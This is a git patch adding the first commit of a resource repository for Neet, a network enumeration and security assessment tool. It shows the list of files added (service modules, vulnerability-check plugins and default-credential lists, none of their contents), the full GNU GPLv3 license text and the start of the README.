From 8e61c0d24bae85f9bee3606d431c818b4aaf52d4 Mon Sep 17 00:00:00 2001 From: JonnyHightower Date: Thu, 17 Apr 2014 15:08:10 +0100 Subject: [PATCH] First commit --- LICENSE | 675 ++++ README.md | 14 + VERSION | 1 + content/DNS/DNS.gsm | 325 ++ content/FTP/FTP.gsm | 238 ++ content/Finger/Finger.gsm | 309 ++ content/Finger/defaultUsers | 96 + content/HPOpenView/HPOpenView.gsm | 309 ++ content/HTTP/HTTP.gsm | 432 ++ content/ICAP/ICAP.gsm | 302 ++ content/LDAP/LDAP.gsm | 276 ++ content/MSSQL/MSSQL.gsm | 311 ++ content/MSSQL/defaultPasswords.txt | 3 + content/NFS/NFS.gsm | 303 ++ content/NTP/NTP.gsm | 276 ++ content/Oracle/Oracle.gsm | 308 ++ content/SMB/SMB.gsm | 664 ++++ content/SMTP/SMTP.gsm | 478 +++ content/SMTP/defaultUsers | 96 + content/SNMP/SNMP.gsm | 367 ++ content/SNMP/defaultStrings | 60 + content/SSH/SSH.gsm | 293 ++ content/SSH/passwords.txt | 21 + content/SSL/SSL.gsm | 348 ++ content/Template/Template.gsm.temp | 236 ++ content/Topology/Topology.gsm | 270 ++ content/UnixVA/UnixVA.gsm | 394 ++ content/UnixVA/plugins/byte_func.inc | 109 + content/UnixVA/plugins/crypto_func.inc | 1010 +++++ .../UnixVA/plugins/fizzsolaris_ttyprompt.nasl | 84 + content/UnixVA/plugins/global_settings.inc | 107 + content/UnixVA/plugins/kerberos_func.inc | 2032 ++++++++++ content/UnixVA/plugins/misc_func.inc | 562 +++ content/UnixVA/plugins/nfs_func.inc | 363 ++ content/UnixVA/plugins/smtp_func.inc | 176 + content/UnixVA/plugins/snmp_func.inc | 703 ++++ content/UnixVA/plugins/solaris_sadmind.nasl | 178 + content/UnixVA/plugins/solaris_ttyprompt.nasl | 85 + content/WinVA/WinVA.gsm | 404 ++ content/WinVA/plugins/byte_func.inc | 109 + content/WinVA/plugins/compat.inc | 339 ++ content/WinVA/plugins/crypto_func.inc | 1010 +++++ content/WinVA/plugins/global_settings.inc | 107 + content/WinVA/plugins/kerberos_func.inc | 2032 ++++++++++ content/WinVA/plugins/misc_func.inc | 562 +++ content/WinVA/plugins/ms06-040.nasl | 88 + content/WinVA/plugins/netbios_name_get.nasl | 387 ++ content/WinVA/plugins/nfs_func.inc | 363 ++ content/WinVA/plugins/smb_cifs.inc | 2028 ++++++++++ content/WinVA/plugins/smb_dcerpc.inc | 245 ++ content/WinVA/plugins/smb_file.inc | 481 +++ content/WinVA/plugins/smb_func.inc | 34 + content/WinVA/plugins/smb_header.inc | 2059 ++++++++++ content/WinVA/plugins/smb_internals.inc | 1002 +++++ content/WinVA/plugins/smb_kb921883.nasl | 105 + content/WinVA/plugins/smb_login.nasl | 285 ++ content/WinVA/plugins/smb_lsa.inc | 719 ++++ content/WinVA/plugins/smb_nativelanman.nasl | 93 + content/WinVA/plugins/smb_net.inc | 872 ++++ content/WinVA/plugins/smb_nt.inc | 3511 +++++++++++++++++ content/WinVA/plugins/smb_reg.inc | 541 +++ content/WinVA/plugins/smb_sam.inc | 801 ++++ content/WinVA/plugins/smb_svc.inc | 553 +++ content/WinVA/plugins/smtp_func.inc | 176 + content/WinVA/plugins/snmp_func.inc | 703 ++++ ...antec_backup_exec_rpc_heap_overflows2.nasl | 105 + content/WinVA/plugins/win_lsass.nasl | 149 + content/WinVA/plugins/win_messenger.nasl | 276 ++ content/WinVA/plugins/win_msdtc.nasl | 390 ++ content/WinVA/plugins/win_msrpc_dcom.nasl | 71 + content/WinVA/plugins/win_ntlm_asn1.nasl | 181 + content/WinVA/plugins/win_smb.nasl | 118 + content/WinVA/plugins/win_taskscheduler.nasl | 342 ++ content/WinVA/plugins/win_upnp.nasl | 78 + .../WinVA/plugins/windows_asn1_vuln_ntlm.nasl | 242 ++ content/WinVA/plugins/wins_overflow.nasl | 30 + .../plugins/wins_replication_overflow.nasl | 44 + content/X11/X11.gsm | 296 ++ content/createNewModule.sh | 58 + install.sh | 112 + uninstall.sh | 42 + 81 files changed, 34957 insertions(+) create mode 100644 LICENSE create mode 100644 README.md create mode 100644 VERSION create mode 100644 content/DNS/DNS.gsm create mode 100644 content/FTP/FTP.gsm create mode 100644 content/Finger/Finger.gsm create mode 100644 content/Finger/defaultUsers create mode 100644 content/HPOpenView/HPOpenView.gsm create mode 100644 content/HTTP/HTTP.gsm create mode 100644 content/ICAP/ICAP.gsm create mode 100644 content/LDAP/LDAP.gsm create mode 100644 content/MSSQL/MSSQL.gsm create mode 100644 content/MSSQL/defaultPasswords.txt create mode 100644 content/NFS/NFS.gsm create mode 100644 content/NTP/NTP.gsm create mode 100644 content/Oracle/Oracle.gsm create mode 100644 content/SMB/SMB.gsm create mode 100644 content/SMTP/SMTP.gsm create mode 100644 content/SMTP/defaultUsers create mode 100644 content/SNMP/SNMP.gsm create mode 100644 content/SNMP/defaultStrings create mode 100644 content/SSH/SSH.gsm create mode 100644 content/SSH/passwords.txt create mode 100644 content/SSL/SSL.gsm create mode 100644 content/Template/Template.gsm.temp create mode 100644 content/Topology/Topology.gsm create mode 100644 content/UnixVA/UnixVA.gsm create mode 100644 content/UnixVA/plugins/byte_func.inc create mode 100644 content/UnixVA/plugins/crypto_func.inc create mode 100644 content/UnixVA/plugins/fizzsolaris_ttyprompt.nasl create mode 100644 content/UnixVA/plugins/global_settings.inc create mode 100644 content/UnixVA/plugins/kerberos_func.inc create mode 100644 content/UnixVA/plugins/misc_func.inc create mode 100644 content/UnixVA/plugins/nfs_func.inc create mode 100644 content/UnixVA/plugins/smtp_func.inc create mode 100644 content/UnixVA/plugins/snmp_func.inc create mode 100644 content/UnixVA/plugins/solaris_sadmind.nasl create mode 100644 content/UnixVA/plugins/solaris_ttyprompt.nasl create mode 100644 content/WinVA/WinVA.gsm create mode 100644 content/WinVA/plugins/byte_func.inc create mode 100644 content/WinVA/plugins/compat.inc create mode 100644 content/WinVA/plugins/crypto_func.inc create mode 100644 content/WinVA/plugins/global_settings.inc create mode 100644 content/WinVA/plugins/kerberos_func.inc create mode 100644 content/WinVA/plugins/misc_func.inc create mode 100644 content/WinVA/plugins/ms06-040.nasl create mode 100644 content/WinVA/plugins/netbios_name_get.nasl create mode 100644 content/WinVA/plugins/nfs_func.inc create mode 100644 content/WinVA/plugins/smb_cifs.inc create mode 100644 content/WinVA/plugins/smb_dcerpc.inc create mode 100644 content/WinVA/plugins/smb_file.inc create mode 100644 content/WinVA/plugins/smb_func.inc create mode 100644 content/WinVA/plugins/smb_header.inc create mode 100644 content/WinVA/plugins/smb_internals.inc create mode 100644 content/WinVA/plugins/smb_kb921883.nasl create mode 100644 content/WinVA/plugins/smb_login.nasl create mode 100644 content/WinVA/plugins/smb_lsa.inc create mode 100644 content/WinVA/plugins/smb_nativelanman.nasl create mode 100644 content/WinVA/plugins/smb_net.inc create mode 100644 content/WinVA/plugins/smb_nt.inc create mode 100644 content/WinVA/plugins/smb_reg.inc create mode 100644 content/WinVA/plugins/smb_sam.inc create mode 100644 content/WinVA/plugins/smb_svc.inc create mode 100644 content/WinVA/plugins/smtp_func.inc create mode 100644 content/WinVA/plugins/snmp_func.inc create mode 100644 content/WinVA/plugins/symantec_backup_exec_rpc_heap_overflows2.nasl create mode 100644 content/WinVA/plugins/win_lsass.nasl create mode 100644 content/WinVA/plugins/win_messenger.nasl create mode 100644 content/WinVA/plugins/win_msdtc.nasl create mode 100644 content/WinVA/plugins/win_msrpc_dcom.nasl create mode 100644 content/WinVA/plugins/win_ntlm_asn1.nasl create mode 100644 content/WinVA/plugins/win_smb.nasl create mode 100644 content/WinVA/plugins/win_taskscheduler.nasl create mode 100644 content/WinVA/plugins/win_upnp.nasl create mode 100644 content/WinVA/plugins/windows_asn1_vuln_ntlm.nasl create mode 100644 content/WinVA/plugins/wins_overflow.nasl create mode 100644 content/WinVA/plugins/wins_replication_overflow.nasl create mode 100644 content/X11/X11.gsm create mode 100755 content/createNewModule.sh create mode 100755 install.sh create mode 100755 uninstall.sh diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..c332253 --- /dev/null +++ b/LICENSE @@ -0,0 +1,675 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + Neet: Network discovery, enumeration and security assessment tool + Copyright (C) 2008-2014 Jonathan Roach + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. + diff --git a/README.md b/README.md new file mode 100644 index 0000000..64fb8f5 --- /dev/null +++ b/README.md @@ -0,0 +1,14 @@ +NEET - Network Enumeration and Exploitation Tool + +RESOURCE REPOSITORY - NOTHING TO DO HERE + +This is a repository of resources required by Neet. Users DO NOT need +to manually download this repository. It is automatically installed +by neet-update whenever it changes. + +Neet is released under version 3 of the GNU Public License. See the LICENSE 